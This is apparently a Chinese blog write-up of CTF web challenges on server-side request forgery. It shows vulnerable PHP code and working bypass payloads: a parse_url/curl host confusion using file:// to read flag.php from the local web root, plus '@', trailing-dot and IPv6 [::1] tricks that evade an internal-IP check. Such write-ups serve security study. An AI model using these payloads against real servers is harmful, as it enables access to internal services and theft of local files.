第一道题来自2018 上海市大学生网络安全大赛线上赛web01

if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.baidu.com')
{
var_dump(parse_url($_POST['url'])['host']);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $_POST['url']);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($curl);
echo $content;
curl_close($curl);
$filename='download/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
else
{
echo "you need post url: http://www.ichunqiu.com";
}

对协议没有限制,可以用file协议

payload:

url=file://@127.0.0.1:80@www.ichunqiu.com/./..//var/www/html/flag.php

parse_url 取出的Host是www.ichunqiu.com绕过了if判断

curl解析的时候host则是127.0.0.1,通过file协议读取flag

另一道题与这个类似,只不过通过http协议读取flag

index.php

<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
// var_dump($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
} function safe_request_url($url)
{
if (check_inner_ip($url)){
echo $url.' is inner ip';
}
else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
} $url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php ?>

flag.php

<?php
if (! function_exists('real_ip') ) {
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
}
$rip = real_ip();
if($rip === "127.0.0.1")
die("HRCTF{SSRF_can_give_you_flag}");
else
die("You IP is {$rip} not 127.0.0.1");
?>

payload1:http://121.195.170.191/ctf/day16/index.php?url=http://@127.0.0.1:80@www.freebuf.com/ctf/day16/flag.php

payload2:http://121.195.170.191/ctf/day16/index.php?url=http://127.0.0.1./ctf/day16/flag.php

ip2long('0.0.0.0')>>24 == $int_ip>>24;也得注释掉,127.0.0.1.gethostbyname解析不了,$int_ip为false,真好和ip2long('0.0.0.0')得到的结果相同了。

paload3:通过ipv6绕过,http://[::1]/

gethostbyname不能解析ipv6地址,$int_ip为false。ip2long('0.0.0.0')>>24 == $int_ip>>24;注释掉这个语句就能绕过检查。

    $hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
var_dump($ip); //[::1]
$int_ip=ip2long($ip);
var_dump($int_ip); //返回false
// var_dump($int_ip);
// var_dump(ip2long('0.0.0.0'));
// return 0;
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 ;//|| ip2long('0.0.0.0')>>24 == $int_ip>>24;

参考链接:

http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/

https://xz.aliyun.com/t/3178#toc-0

https://xz.aliyun.com/t/3150

 

ssrf绕过记录的更多相关文章

  1. ssrf绕过总结

    前言 昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 绕过的,自己也没遇到过.然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法, ...

  2. ssrf解题记录

    ssrf解题记录 最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程. pwn题最近做的也很少,也要 ...

  3. SSRF绕过IP限制方法总结

    SSRF绕过IP限制方法总结 - Summary of SSRF methods for bypassing IP restrictions -https://www.cnblogs.com/iAmS ...

  4. SSRF绕过姿势

    0x00 什么是SSRF? SSRF(Server-Side Request Forgery,服务器端请求伪造):是一种由攻击者构造形成由服务器端发起请求的一个漏洞. SSRF 攻击的目标是从外网无法 ...

  5. appcms SSRF 绕过漏洞[转载]

    漏洞 <?php if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type' ...

  6. SSRF绕过filter_var(),preg_match()和parse_url()

    1.利用curl的变量解释符$ php版本 利用代码 /*ssrf.php*/<?php echo ]."n"; // check if argument is a vali ...

  7. SSRF总结

    ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求.ssrf漏洞的危害 ...

  8. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  9. SSRF——漏洞利用(二)

    0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...

随机推荐

  1. C# 程序执行时间差

    有时需要知道执行一个方法需要多少时间,这时会用到一个时间差TimeSpan DateTime startTime = DateTime.Now;//方法开始时间 //{ // 你需要测试的代码. // ...

  2. mysql分表,批量生成数据

    一.mysql的分表策略 根据经验,Mysql表数据一般达到百万级别,查询效率会很低,容易造成表锁,甚至堆积很多连接,直接挂掉: 1,水平分割: 水平(横向)拆分:将同一个表的数据进行分块保存到不同的 ...

  3. 解决:springmvc maven 项目搭建完后没有src目录,而且maven导入很慢

    前言:在搭建springmvc maven项目中遇到的问题做总结,比如搭建后没有src,同时这里也解决了搭建后maven导入很慢的问题. 问题: 1.发现创建出来的maven项目没有src文件 ,而且 ...

  4. js画一棵树

    用纯js画一棵树.思路: 1.一棵树的图片,作为页面背景: 2.通过html5中的canvas画布进行遮罩: 3.定时每隔10ms,从下往上清除1px的遮罩: <!DOCTYPE html> ...

  5. python学习之老男孩python全栈第九期_day028知识点总结——面向对象进阶、hashlib

    一. 面向对象进阶与实例 dic = {'k': 'v' } 对象:存储 属性 和 调用方法 dic['k'] = 'v' class Foo: def __init__(self, name, ag ...

  6. C# 注释&SQL注释

    SQL注释: 1.单行注释:--单行注释 2.多行注释:/*多行 注释*/ C#注释: 1.单行注释://单行注释 2.多行注释:/*多行 注释*/ 3.说明注释:///<summary> ...

  7. 【MFC】转:在CHtmlView中判断页面加载完成

    在列出别人的代码前,记录下自己的,覆盖父类的OnNavigateComplete2函数即可. typedef struct _tagEventURL { CString strUrl; HANDLE ...

  8. 使用PuTTy在CentOS下安装web.py与简单的文件传输

    两周前,出于帮朋友忙的目的,尝试了一下微信公众号的菜单自定义与自动回复功能的实现,成了. 两周后,需要将代码转移至朋友新购的服务器上,发现基本操作全忘记了,麻瓜!所以记一笔,希望也能对大家也有帮助. ...

  9. LeetCode 531----Lonely Pixel I----两种算法之间性能的比较

    Lonely Pixel I 两种算法之间的性能比较 今天参加LeetCode Weekly Contest 22,第二题 "Lonely Pixel I" 问题描述如下: Giv ...

  10. MUI框架-14-使用自定义icon图标、引入阿里巴巴矢量图标

    MUI框架-14-使用自定义icon图标.引入阿里巴巴矢量图标 首先介绍介绍一下,前端必备的非常强大的 阿里巴巴矢量图标库:地址是:http://www.iconfont.cn/ 这里有丰富,精美,且 ...